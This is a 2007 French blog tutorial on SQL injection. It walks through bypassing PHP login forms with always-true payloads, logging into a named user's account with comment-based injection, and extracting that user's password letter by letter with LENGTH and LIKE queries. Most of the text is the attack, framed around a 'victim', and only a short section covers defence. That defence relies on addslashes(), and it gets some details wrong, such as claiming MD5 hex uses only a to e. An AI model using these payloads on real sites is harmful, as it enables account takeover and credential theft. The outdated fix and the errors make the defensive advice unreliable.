Date: Samedi 17 novembre 2007 à 16:16:26
Sujet: 3 Sécurité et Hacking

Les injections SQL - Trouver un mot de passe avec une injection SQL

Les injections SQL peuvent servir à se connecter sur le compte d'une autre personne sans son mot de passe où encore à trouver des mots de passe.

C'est un type de faille très répandues sur le web et dont le fonctionnement est assez simple.
Il est indispensable de comprendre les injections SQL si on veut correctement protéger un site web.

Cet article s'adresse à tout le monde, que vous vouliez en apprendre plus sur la sécurité informatique ou que vous souhaitiez sécuriser votre site web.

Les injections SQL Sommaire :

1 - Description de la faille On peut faire beaucoup d'injections SQL différentes, ici je vous expliquerai comment passer un formulaire de connection alors qu'on n'a pas le mot de passe et comment ensuite trouver ce mot de passe.
Pour bypasser le formulaire de connection et se logguer on va injecter des petits morçeaux de codes SQL dont les informations sont forcément vraies (par exemple : 1=1).
Code HTML du formulaire de connection : <form method="post> <input type="text" name="pseudo" /> <input type="password" name="password" /> <input type="submit" name="Connexion" /> </form>

La plupart des sites utilisent un formulaire de connection similaire a celui-ci. Les informations envoyées dans ce formulaire sont ensuite traitées par une page en PHP qui vérifient les informations entrées avec celle présentes dans la base de données.

2 - Se loguer sans mot de passe avec SELECT Les variables que vous avez enteés dans le forumaire vont etre ensuite utilisées dans les requetes SQL. La faille est a ce niveau.
Il y a une fonction qui s'apelle get_magic_quotes_gpc() qui rajoute des antislashs ( ) devant les quotes (') et les doubles quotes (") pour éviter les injections SQL.

Mais cette fonction n'est pas toujours activé par les hébergeurs ce qui engendre une vulnérabilité.

Dans ce premier exemple les logins et mots de passe sont stockés dans une table users de la base de donnée et nous allons prendre comme login it's me et comme password ah'ah"ah Si get_magic_quotes_gpc() est activée, la requete sera interprétée comme cela :

Code : SQL
SELECT login FROM users WHERE login='it's me ' AND password=' ah'ah\"ah'

Si get_magic_quotes_gpc() est désactivée, la requete sera interprétée comme ceci :

Code : SQL
SELECT login FROM users WHERE login='it's me ' AND password=' ah'ah"ah' Le code SQL selectionne le login (it's me) si le login est dans la base de donnée et que le mot de passe entré correspond au mot de passe de la base de donnée.

Pour l'instant vous ne voyez pas le danger que provoque la désactivation de get_magic_quotes_gpc(), mais vous allez comprendre.

Nous allons maintenant injecter des données vraies dans le code SQL grace au formulaire de connection.
Les informations vraies seront par exemple :

- 1=1
- 2=2
- 'a'='a' (je met les quotes car les caractères doivent etre entourés de quotes ' dans les requetes SQL)
- 'z'='z'
- 42<69

Enfin vous l'aurez compris, il existe beaucoup d'informations vraies a injecter. Mais nous n'en avons besoin que d'une.

On va choisir 'a'='a' comme information vraie car c'est celle qu'on utilise le plus souvent pour ce genre d'injection mais vous pouvez essayer avec d'autres informations vraies. On va injecter 'OR 'a'='a comme login et comme mot de passe dans le formulaire de connection.
Non, je ne me suis pas trompé avec les quotes, on va bien entrer 'OR 'a'='a
Vous pensez peut etre qu'il y a un quote ' en trop au début et un quote ' qui manque a la fin, mais c'est justement cela qui permet de jouer sur la fermeture de la requete.

Une fois qu'on aura entré 'OR 'a'='a en pseudo et en login, la requete SQL sera : Code : SQL
SELECT login FROM users WHERE login=''OR 'a'='a' AND password=''OR 'a'='a' Maintenant vous comprenez mieux pourquoi j'ai mis un quote ' au début et que je n'en ai pas mis a la fin.
En effet, il y a déja un quote ' a la fin de la requete.
J'ai mis des couleurs au code SQL pour que vous compreniez mieux. En bleu la requete SQL de base et en rouge ce qu'on a entré dans le formulaire.

Pour ceux qui n'aurait pas compris, la partie OR 'a'='a' renverra forcément vrai.

Quand il n'y a rien entre 2 quotes '', cela veut dire que la chaine de caractère est vide mais cela ne nous sera jamais utile, a part si vous tombez sur un site web qui ne vérifie pas que les champs soient remplies et qu'un mec n'a rien mis en mot de passe. Autant vous dire que les chances sont très minces.
En plus nous n'avons pas besoin de cela pour se connecter a la place d'une autre personne puisque vous pourrez bientot vous connecter sans le mot de passe de votre victime.

La requete ci-dessus selectionne le pseudo ('OR 'a'='a) si il n'y a pas de mot de passe ou si 'a'='a' .
Comme 'a' est toujours égale à 'a'le pseudo sera a chaque fois selectionné et vous serez connecté au site.

Alors vous etes content, vous venez de reussir a vous connecter sur un site en bypassant le mot de passe.

On va essayer de faire une injection avec une autre donnée vraie pour etre sur que vous avez compris.
On va essayer d'injecter 1=1, normalement c'est plus facile car on n'a moins de problémes avec les quotes ' mais on devra tout de même injecter une information de type caractére entourée par des quotes pour le mot de passe.

Par exemple, si on entre 'OR 1=1 en pseudo et en mot de passe.
La requete SQL sera :

Code : SQL
SELECT login FROM users WHERE login=''OR 1=1' AND password=''OR 1=1' Mais cette requete SQL ne marchera pas car, si vous regardez les quotes vous vous rendez compte que certains quotes ne sont pas fermés au bon endroit.
Le quote a la fin de login=''OR 1=1'est invalide car il ouvre un quote qui est mal placé.
Maintenant vous comprenez pourquoi j'ai injecté 'a'='a' tout a l'heure.

On va donc revenir a notre exemple avec 'OR 'a'='a

Le probléme c'est qu'on a entré 'OR 'a'='a en pseudo, et que le site nous a logiquement loggué avec comme login 'OR 'a'='a.
C'est pas très joli, n'est ce pas ?
3 - Se loguer sur le compte d'une autre personne On va maintenant voir comment se connecter sur le compte d'une autre personne car c'est tout de meme beaucoup plus intéréssant.
Dans notre exemple, on va essayer de se connecter au compte de TomSawyer alors qu'on ne connait pas son mot de passe.

On va donc commencer par entrer TomSawyer comme login dans le formulaire de connection. Ca c'est logique.
Et on va maintenant utiliser le #. Si vous avez réelement appris le PHP (pas si vous l'avez appris avec 2-3 tutos sur un site web), vous connaissez ce symbole et vous savez ce qu'il fait.

Un petit rappel pour les autres, tous les instructions que vous allez écrire après le # ne seront pas interprétées. Et cela va nous etre très utile car on a souvent un quote en trop quand on fait des injections SQL.

En mot de passe, on va entrer 'OR 1=1#
Ce qui va donner :

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password='
```
'OR 1=1#' Ce qui équivaut également à la requete ci-dessous comme le quote ' après le # n'est pas interprété.
Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password='
```
'OR 1=1
La reqete selectionne le pseudo TomSawyer si le mot de passe est vide ('') ou si 1=1, comme on l'a déja vu comme 1 est toujours égal à 1, le pseudo TomSawyer sera selectionné et nous nous connecterons a son compte.

La vérification du mot de passe ne sert plus a rien dans cet exemple comme on arrive a passer à travers.

On peut faire encore plus simple, regardez ce que cela donne si on entre TomSawyer'# en pseudo et ce que vous voulez en mot de passe.

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer'#' AND password='
blablabla'
```
Si vous observez bien les quotes, le login est selectionné sera bien TomSawyer puisque qu'il est entouré de quote.
Le # permet d'occulter tout ce qui se trouve après lui.
Vous pouvez mettre ce que vous voulez en mot de passe comme celui-ci ne

sera pas vérifié (à cause du quote '). Mais mettez quelque chose car la plupart des scripts PHP vérifient que les champs du formulaire soient bien remplis.

La requete SQL sera donc interpreté comme celle qui suit (on a simplement supprimé tout ce qui se trouvait après le #) :

Code : SQL
SELECT login FROM users WHERE login='TomSawyer' La requete que nous obtenons est donc simpliste : on selectionne le login TomSawyer (on se connecte avec comme login TomSawyer) et il n'y a aucune vérification. C'était facile, non ?
Maintenant on va essayer de trouver le mot de passe de TomSawyer.
4 - Trouver le mot de passe avec LIKE Maintenant vous savez comment entrer sur le compte d'une personne sans avoir son mot de passe.
Mais cela peut etre de connaitre ce mot de passe.
Par exemple si vous voulez changer le mot de passe de la personne, la plupart du temps le mot de passe initial est démandé.

On va continuer a faire des injections SQL dans le formulaire de connection pour trouver le mot de passe.

La première chose a faire quand on cherche un mot de passe, c'est de trouver sa longueur grâce à la fonction LENGTH.
On va entrer comme login TomSawyer' AND LENGTH(password)=4# et ce que vous voulez en mot de passe.

La requete sera alors :
  Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND LENGTH(password)=4#' AND password='blablabla'
qui équivaut a la requete suivante apreès suppression des instructions après le # :

Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND LENGTH(password)=4
Si vous vous connectez au compte de TomSawyer cela signifie que son mot de passe fait 4 caractéres.
Si cela ne marche pas, essayer avec 5, 6, 7, 8 etc...
Plus le mot de passe est long, plus il sera dur a trouver.

Si le mot de passe est crypté en MD5, sa longueur sera 32 et il sera très difficile à trouver.

Maintenant qu'on connait la longueur du mot de passe, on va essayer de le trouver.
Je vous préviens tout de suite, c'est pas très marrant à faire et c'est très répétitif. Vous pouvez

d'ailleurs créer un script qui le fait a votre place, mais vous ne pourrez le faire qu'une fois que vous aurez bien compris le principe.

On va maintenant utiliser LIKE.
Mettez TomSawyer' AND password LIKE 'a%'# en pseudo.

La requête devrait etre :

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'a%'# AND password='blablabla'
```
équivalent à :

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'a%'
```
Si le mot de passe de TomSawyer commence par un a, vous vous connectez a son compte.
Si vous restez sur la page de connection c'est que son mot de passe ne commence pas par un a, essayez donc avec b, puis c etc (vous connaissez l'alpahbet).
Si vous ne trouvez toujours pas essayer des chiffres (1,2,3). Attention a essayer les chiffres, chiffre par chiffre, n'essayez pas directement 12 par exemple.

Si le mot de passe est codé en MD5, on aura pas besoin d'essayer toutes les lettres. En effet les mots de passes codés en MD5 sont en hexadécimal donc ils ne sont composés que des chiffres de 0 à 9 et de a,b,c,d et e.
Par contre il sera difficile car cela sera une suite de chiffre et de lettre sans aucun sens.

Une fois que vous avez trouvé la première lettre, il faut trouver la deuxiéme (logique).
Mettez alors TomSawyer' AND password LIKE 'aa%'# en pseudo.

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'aa%'#
```
Si cela ne marche pas c'est que la deuxiéme lettre n'est pas a.
On va donc essayer avec b comme deuxiéme lettre.

Code : SQL
```
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'ab%'#
```
Et on tente les lettres les unes après les autres jusqu'a ce que cela marche, quand vous avez essayer les lettres de a à z , essayez les

chiffres de 0 à 9.

Si cela ne marche toujours pas, il se peut que les mot de passe soient sensibles a la casse (majuscules et minuscules) ou encore qu'il y ai des caractéres spéciaux. C'est beaucoup beaucoup plus dur dans ces cas là.

Les dernières lettres du mot de passe sont souvent plus faciles a trouver car quand le mot de passe a un sens, on le devine souvent.

Dans notre exemple, imaginons qu'après 20 minutes, on est les 3 premières lettres (sur les 4).

Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'all%'#
Pour la prochaine et dernière lettre (4éme), on tentera directement avec un o plutot que d'essayer encore une fois toutes les lettres de l'alphabet en commencant par a.

Une fois le mot de passe trouvé, dans ce cas là c'est allo (oui c'est assez idiot comme mot de passe, mais c'est un exemple simple).

Comme vous avez pu le voir la methode est longue, mais c'est plus rapide quand on connait la longueur du mot de passe et comme je vous l'ai déja dit, c'est assez simple de concevoir un script qui teste tout a votre place
Le script sera bien plus rapide que les logiciels qui teste en brute force car il teste beaucoup moins de possibilités puisque et il saura que dès qu'il a une lettre bonne.
5 - Corriger la faille Si vous etes webmaster et que votre hébergeur a désactivé la fonction get_magic_quotes_gpc() alors vous pouvez etre victime d'injection SQL.
Pour vous protéger vous et vos membres, utilisez la fonction addlashes() qui rajoute des anti-slashs devant les quotes ' si get_magic_quotes_gpc() est désactivée.

Par exemple :

Code : PHP
$login = addslashes($_POST['login']);
$password = addslashes($_POST['password']); Si vous êtes un utilisateur, je vous conseille de bien choisir vos mot de passe, si possible long et avec des chiffres car comme vous avez pu le voir, ils sont bien plus durs à trouver.

Publication de Tout sur l'informatique - Programmation C#, Sécurité, Divx, P2P:
http://www.zmaster.fr

URL de cette publication
http://www.zmaster.fr/modules.php?name=News&file=article&sid=212